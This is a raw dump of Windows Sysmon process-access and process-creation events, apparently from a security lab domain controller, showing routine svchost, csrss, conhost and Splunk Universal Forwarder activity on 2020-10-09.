09:11:46.571{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2952-5F80-2801-000000007F01}4616C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005338Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.571{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005337Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.571{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005336Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.571{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005335Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.571{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005334Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.571{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005333Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.571{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005332Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.571{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005331Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.571{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005330Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.571{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005329Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.571{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2952-5F80-2801-000000007F01}4616C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005328Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.571{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2952-5F80-2801-000000007F01}4616C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005327Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.583{A5F018FF-2952-5F80-2801-000000007F01}4616C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\MonitorNoHandle.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005326Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2952-5F80-2701-000000007F01}2720C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005325Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005324Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005323Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005322Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005321Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005320Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005319Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005318Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005317Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005316Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2952-5F80-2701-000000007F01}2720C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005315Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-2952-5F80-2601-000000007F01}35324420C:\Windows\system32\cmd.exe{A5F018FF-2952-5F80-2701-000000007F01}2720C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005314Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.357{A5F018FF-2952-5F80-2701-000000007F01}2720C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe8.0.2splunk Applicationsplunk ApplicationSplunk Inc.splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3{A5F018FF-2952-5F80-2601-000000007F01}3532C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt 2>&1 10341000x80000000000000005313Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2952-5F80-2601-000000007F01}3532C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005312Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 